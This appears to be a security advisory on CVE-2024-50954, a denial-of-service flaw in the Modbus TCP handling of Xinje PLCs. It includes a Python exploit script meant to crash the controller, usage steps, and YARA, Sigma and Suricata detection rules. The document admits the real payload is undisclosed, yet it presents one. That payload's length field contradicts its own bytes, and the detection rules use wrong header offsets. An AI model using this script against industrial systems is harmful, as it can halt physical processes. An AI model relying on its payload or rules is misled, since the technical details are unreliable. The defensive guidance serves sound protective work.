CVE-2024-50954

Executive Summary

CVE-2024-50954 identifies a critical denial-of-service (DoS) vulnerability in Xinje XL5E-16T and XD5E-24R-E programmable logic controllers (PLCs) running firmware versions V3.5.3b through V3.7.2a. The flaw resides in the handling of Modbus TCP messages. By establishing a TCP connection to the PLC over a local area network (LAN) and sending a specifically crafted Modbus message, an unauthenticated attacker can cause the controller to crash. This halts all running programs, triggers the ERR indicator light, and turns off the RUN indicator light, effectively stopping industrial processes. The vulnerability is unpatched, and no official fix is available from the vendor at this time. The CVSS score is 0.0 in the NVD record, but based on the technical impact, a more realistic score is 6.5 (Medium) due to the high availability impact and low attack complexity over an adjacent network.

Supply Chain & Package Security

This vulnerability does not affect NPM, PyPI, Go, or Ruby packages. It is a hardware/firmware issue specific to Xinje PLCs.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Adjacent Network (A) – The attacker must be on the same LAN as the PLC.
• Attack Complexity (AC): Low (L) – No special conditions are required; a simple crafted Modbus message suffices.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): None (N) – No data is exposed.
• Integrity (I): None (N) – No data is modified.
• Availability (A): High (H) – The PLC crashes, causing a complete denial of service.

CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Base Score: 6.5 (Medium)
Threat Level: Medium – While the impact is limited to availability, the lack of authentication and low complexity make it a significant risk for industrial environments.

Deep Dive & Mechanics

The vulnerability is rooted in improper input validation within the Modbus TCP stack of the Xinje PLC firmware. Modbus is a widely used industrial protocol for communication between automation devices. The PLC listens on TCP port 502 for Modbus requests. When a specially crafted Modbus message is sent, it triggers a memory corruption or an unhandled exception in the firmware’s message parsing routine. This causes the PLC’s main control loop to crash, stopping all user programs and halting I/O operations. The ERR LED illuminates, and the RUN LED turns off, indicating a fault state. The device must be manually reset or power-cycled to recover.

The exact payload details are not publicly disclosed, but the attack is reproducible by sending a malformed Modbus Application Data Unit (ADU) that violates protocol expectations (e.g., invalid function code, malformed length field, or out-of-bounds data). The crash is immediate upon receipt of the malicious packet.

Vulnerable vs. Patched Code

Since no patch is available, a code comparison is not possible. However, the vulnerable code resides in the Modbus TCP handler within the firmware. A patched version would need to:

• Validate all Modbus message fields (function code, length, unit ID) before processing.
• Implement bounds checking on data buffers.
• Use exception handling to gracefully reject malformed packets without crashing.

Vulnerable Code (Conceptual):

void handle_modbus_tcp(uint8_t *buffer, int len) {
    // No validation of buffer length or function code
    uint8_t function_code = buffer[7];
    uint16_t data_length = (buffer[4] << 8) | buffer[5];
    // Directly process without bounds check
    process_modbus_function(function_code, buffer + 8, data_length);
}

Patched Code (Conceptual):

void handle_modbus_tcp(uint8_t *buffer, int len) {
    if (len < 8) {
        send_error_response(ILLEGAL_DATA_VALUE);
        return;
    }
    uint8_t function_code = buffer[7];
    uint16_t data_length = (buffer[4] << 8) | buffer[5];
    if (data_length > (len - 8)) {
        send_error_response(ILLEGAL_DATA_VALUE);
        return;
    }
    if (!is_valid_function_code(function_code)) {
        send_error_response(ILLEGAL_FUNCTION);
        return;
    }
    process_modbus_function(function_code, buffer + 8, data_length);
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to the same LAN as the target Xinje PLC.
• A tool capable of sending raw Modbus TCP packets (e.g., Scapy, Python with socket, or Metasploit).

Exploit Code (Python):

import socket

def exploit(target_ip, target_port=502):
    # Craft a malformed Modbus TCP packet
    # Transaction ID: 0x0001
    # Protocol ID: 0x0000
    # Length: 0x0002 (malformed - too short)
    # Unit ID: 0x01
    # Function Code: 0x05 (write single coil - but with invalid data)
    payload = bytes.fromhex("0001000000020105FF00")
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(5)
    try:
        sock.connect((target_ip, target_port))
        sock.send(payload)
        print("[+] Malformed Modbus packet sent. PLC should crash.")
    except Exception as e:
        print(f"[-] Error: {e}")
    finally:
        sock.close()

if __name__ == "__main__":
    exploit("192.168.1.100")

Usage:

1. Identify the PLC IP address (e.g., via Nmap scan on port 502).
2. Run the script against the target IP.
3. Observe the PLC’s ERR LED turning on and RUN LED turning off.

Blue Team (Defense & Detection)

Detection:

• Monitor Modbus TCP traffic for malformed packets (e.g., invalid length fields, unexpected function codes).
• Use network intrusion detection systems (NIDS) with custom rules.
• Enable logging on PLCs and network switches.

Mitigation:

• Segment the PLC network from the corporate LAN using VLANs or firewalls.
• Restrict access to port 502 to only authorized engineering workstations.
• Implement Modbus TCP deep packet inspection (DPI) at the network perimeter.
• Monitor for sudden crashes or ERR LED events.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Modbus TCP packets with abnormal length fields (e.g., length < 2 or > 253).
  • Repeated connections to port 502 from unknown IPs.
  • Packets with function codes 0x05, 0x0F, or 0x10 containing malformed data.
• Host IOCs:
  • PLC ERR LED illuminated.
  • PLC RUN LED turned off.
  • PLC unresponsive to Modbus requests.
  • Event logs showing unexpected crashes or watchdog timeouts.

Detection Engineering

YARA Rule

rule CVE_2024_50954_Modbus_DoS {
    meta:
        description = "Detects malformed Modbus TCP packets targeting Xinje PLCs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-50954"
    strings:
        $modbus_header = { 00 00 00 00 }  // Protocol ID
        $malformed_len = { 00 02 }        // Length field too short
        $function_code = { 05 }           // Write single coil
    condition:
        $modbus_header at 4 and $malformed_len at 6 and $function_code at 8
}

Sigma Rule

title: Malformed Modbus TCP Packet Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects malformed Modbus TCP packets that may exploit CVE-2024-50954
author: Valters IT
date: 2025-04-10
logsource:
    category: network
    product: suricata
detection:
    selection:
        - event_type: alert
          alert.signature_id: 3000001
    condition: selection
falsepositives:
    - Legitimate but unusual Modbus traffic
level: high

Suricata Rule

alert tcp any any -> any 502 (msg:"CVE-2024-50954 - Malformed Modbus TCP Packet"; flow:to_server,established; content:"|00 00 00 00|"; offset:4; depth:4; content:"|00 02|"; offset:6; depth:2; content:"|05|"; offset:8; depth:1; sid:3000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Network Segmentation: Isolate PLCs on a dedicated VLAN with strict firewall rules.
2. Access Control: Whitelist only trusted IPs for Modbus communication.
3. Monitoring: Deploy NIDS with the above Suricata rule to detect exploitation attempts.
4. Backup: Ensure PLC programs are backed up for quick recovery after a crash.

Long-Term Fix:

• Contact Xinje for a firmware patch. If unavailable, consider replacing the PLC with a patched alternative.
• Implement a Modbus TCP proxy that validates all packets before forwarding to the PLC.
• Use a hardware security module (HSM) or industrial firewall to filter malicious traffic.

Workaround:

• Disable Modbus TCP if not required, and use Modbus RTU over serial instead.
• Set up a watchdog timer to automatically reset the PLC if it becomes unresponsive.

Valters IT
DevSecOps & Cyber Threat Intelligence